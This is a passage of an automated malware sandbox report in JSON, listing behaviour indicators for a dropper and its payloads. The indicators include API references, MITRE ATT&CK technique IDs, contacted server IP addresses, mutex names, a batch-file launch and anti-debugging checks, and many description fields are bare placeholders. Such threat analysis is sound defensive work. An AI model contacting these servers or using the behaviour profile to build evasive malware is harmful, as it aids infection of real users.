Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$42","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$43","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.172.128.90:80\"\n \"5.42.64.33:80\"\n \"185.172.128.109:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"chcp.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to delay the execution of current thread","description":"Sleep@KERNEL32.DLL at 00000000-00003192-32151-61-00671880","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.003","relevance":3,"id":"stream-103","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegUnLoadKeyW\" (Indicator: \"RegUnLoadKey\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: BroomSetup.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: 31839b57a4f11171d6abc8bbc4451ee4.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: rty25.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: toolspub1.exe)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: INetC.dll)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically load libraries","description":"LoadLibraryW@KERNEL32.DLL at 00000000-00004224-29862-219-004291D0\n LoadLibraryW@KERNEL32.DLL at 00000000-00004224-29862-220-00428890\n LoadLibraryW@KERNEL32.DLL at 00000000-00004224-29862-314-0040FC81\n LoadLibraryA@KERNEL32.DLL at 00000000-00004224-29862-442-00429140","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1106","relevance":3,"id":"stream-108","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"WinExec\" (Indicator: \"WinExec\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"ShellExecuteW\" (Indicator: \"ShellExecute\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"at System.Diagnostics.Process.StartWithShellExecuteEx(ProcessStartInfo startInfo)\" (Indicator: \"ShellExecute\"; Source: \"00000000-00000640.00000001.80757.00260000.00000004.mdmp\")\n Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FreeResource\" (Indicator: \"FreeResource\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"FindResourceExW\" (Indicator: \"FindResource\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004224.00000000.80779.00433000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to set file attributes (Dotnet)","description":"Observed Namespace \"System.IO.File\" and MemberReference \"GetAttributes\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"\n Observed Namespace \"System.IO.File\" and MemberReference \"SetAttributes\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1222","relevance":1,"id":"static-155","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$47","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"$48","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Dotnet)","description":"Observed function \"Process.get_StartInfo\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"\n Observed function \"Process.Start\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-111","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00002512.00000001.82002.0B480000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"\"BroomSetup.exe\" contains export function called \"TMethodImplementationIntercept\" at ordinal 3\n \"BroomSetup.exe\" contains export function called \"__dbk_fcall_wrapper\" at ordinal 2\n \"BroomSetup.exe\" contains export function called \"dbkFCallWrapperAddr\" at ordinal 1\n \"INetC.dll\" contains export function called \"get\" at ordinal 1\n \"INetC.dll\" contains export function called \"head\" at ordinal 2\n \"INetC.dll\" contains export function called \"post\" at ordinal 3\n \"INetC.dll\" contains export function called \"put\" at ordinal 4","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Contains reference to Windows Startup folder","description":"$49","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-265","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; File: \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\")\n Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"00000000-00002856.00000000.80757.00408000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-269","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileExW in import section (Source: 31839b57a4f11171d6abc8bbc4451ee4.exe)\n Found MoveFileW in import section (Source: InstallSetup9.exe)\n Found MoveFileExW in import section (Source: toolspub1.exe)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"Process 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n Process 84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex\"\n Process InstallSetup9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n Process InstallSetup9.exe created mutex with name \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Dotnet code contains ability to modify/delete registry","description":"Observed namespace \"Microsoft.Win32.RegistryKey\" and TypeReference \"SetValue\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1112","relevance":1,"id":"static-139","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"INetC.dll\" as clean (type is \"PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections\"), Antivirus vendors marked dropped file \"Task.bat\" as clean (type is \"ASCII text with CRLF line terminators\"), Antivirus vendors marked dropped file \"CHCP.COM.6A98C882.bin\" as clean (type is \"PE32 executable for MS Windows 6.01 (console) Intel i386 4 sections\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"%APPDATA%\\\\Temp\\\\Task.bat\" \"\" (UID: 00000000-00003592)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$4b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"InstallSetup9.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_NO_SEH\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"rty25.exe\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE\n \"CHCP.COM.6A98C882.bin\" has flags like IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE\n IMAGE_DLLCHARACTERISTICS_NX_COMPAT\n IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"hapubws@skimresources.com\"\n Pattern match: \"hapubws@www.babycenter.com\"\n Pattern match: \"hapubws@y.one.impact-ad.jp\"\n Pattern match: \"hapubws@config.parsely.com\"\n Pattern match: \"hapubws@urbandictionary.com\"\n Pattern match: \"hapubws@www.microsoft.com\"\n Pattern match: \"hapubws@ih.adscale.de\"\n Pattern match: \"hapubws@www.submarino.com.br\"\n Pattern match: \"hapubws@wayfair.com\"\n Pattern match: \"hapubws@same.eastmoney.com\"\n Pattern match: \"hapubws@gateway.foresee.com\"\n Pattern match: \"hapubws@jalan.net\"\n Pattern match: \"hapubws@nextag.com\"\n Pattern match: \"hapubws@www.rakuten.co.jp\"\n Pattern match: \"hapubws@www.monografias.com\"\n Pattern match: \"hapubws@legolas-media.com\"\n Pattern match: \"hapubws@www.priceline.com\"\n Pattern match: \"hapubws@addictinggames.com\"\n Pattern match: \"hapubws@bankofamerica.com\"\n Pattern match: \"hapubws@tripadvisor.co.uk\"\n Pattern match: \"hapubws@sunset.systems\"\n Pattern match: \"hapubws@pcauto.com.cn\"\n Pattern match: \"hapubws@i.liadm.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Found Native API in Dotnet file","description":"Observed unmanaged function \"GetModuleHandle\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"\n Observed unmanaged function \"CheckRemoteDebuggerPresent\" in \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\"","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-101","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"Found string \"User-Agent: NSIS_Inetc (Mozilla)\" (Indicator: \"user-agent: \"; Source: \"00000000-00002856.00000001.82683.00220000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$4c","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Loads Windows LDAP client module","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76780000\n \"InstallSetup9.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76780000\n \"BroomSetup.exe\" loaded module \"%WINDIR%\\System32\\Wldap32.dll\" at 76780000","origin":"Loaded Module","mitre_attack_id":"T1069.002","relevance":3,"id":"module-17","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4d","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" at 63AD0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"31839b57a4f11171d6abc8bbc4451ee4.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 75240000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64730000\n \"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 64EE0000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000\n \"InstallSetup9.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000\n \"toolspub1.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000\n \"BroomSetup.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000\n \"chcp.com\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000\n \"schtasks.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 75B00000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"1300140054f46576@RPCRT4.dll\"\n \"1800190068e89768@api-ms-win-core-synch-l1-2-0.dll\"\n \"1800190088e89768@api-ms-win-core-synch-l1-2-0.dll\"\n \"0d000e00cc5f9768@ntdll.dll\"\n \"0d000e002203e76b@ADVAPI32.dll\"\n \"0d000e00fe02e76b@ADVAPI32.dll\"\n \"0b000c00cc02e76b@ADVAPI32.dll\"\n \"10001100da02e76b@ADVAPI32.dll\"\n \"150016002073a56e@ADVAPI32.dll\"\n \"0e000f00e473a56e@ADVAPI32.dll\"\n \"0e000f005074a56e@ADVAPI32.dll\"\n \"11001200d47da56e@ADVAPI32.dll\"\n \"110012007c7ea56e@ADVAPI32.dll\"\n \"12001300cc7ea56e@ADVAPI32.dll\"\n \"12001300387fa56e@ADVAPI32.dll\"\n \"14001500e4b7a56e@ADVAPI32.dll\"\n \"1400150000b8a56e@ADVAPI32.dll\"\n \"140015001cb8a56e@ADVAPI32.dll\"\n \"1700180038b8a56e@ADVAPI32.dll\"\n \"0d000e0054b8a56e@ADVAPI32.dll\"\n \"1100120064b8a56e@ADVAPI32.dll\"\n \"110012007cb8a56e@ADVAPI32.dll\"\n \"0f001000ecb9a56e@ADVAPI32.dll\"\n \"1400150038baa56e@ADVAPI32.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$4e","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$4f","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file contains COM data directory","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\" has COM data directory \"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR\"","origin":"Static Parser","id":"static-144","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"\"rty25.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"CHCP.COM.6A98C882.bin\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6a9896ee5bf3e1d9d4041325"},{"report_type":"sandbox","report_id":"65b7cecd00f3e0980005afcc"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799\" has an executable section named \".text\"\n \"BroomSetup.exe\" has an executable section named \".text\"\n \"BroomSetup.exe\" has an executable section named \".itext\"\n \"31839b57a4f11171d6abc8bbc4451ee4.exe\" has an executable section named \".text\"\n \"InstallSetup9.exe\" has an executable section named \".text\"\n \"rty25.exe\" has an executable section named \".text\"\n \"toolspub1.exe\" has an executable section named \".text\"\n \"INetC.dll\" has an executable section named \".text\"\n \"CHCP.COM.6A98C882.bin\" has an 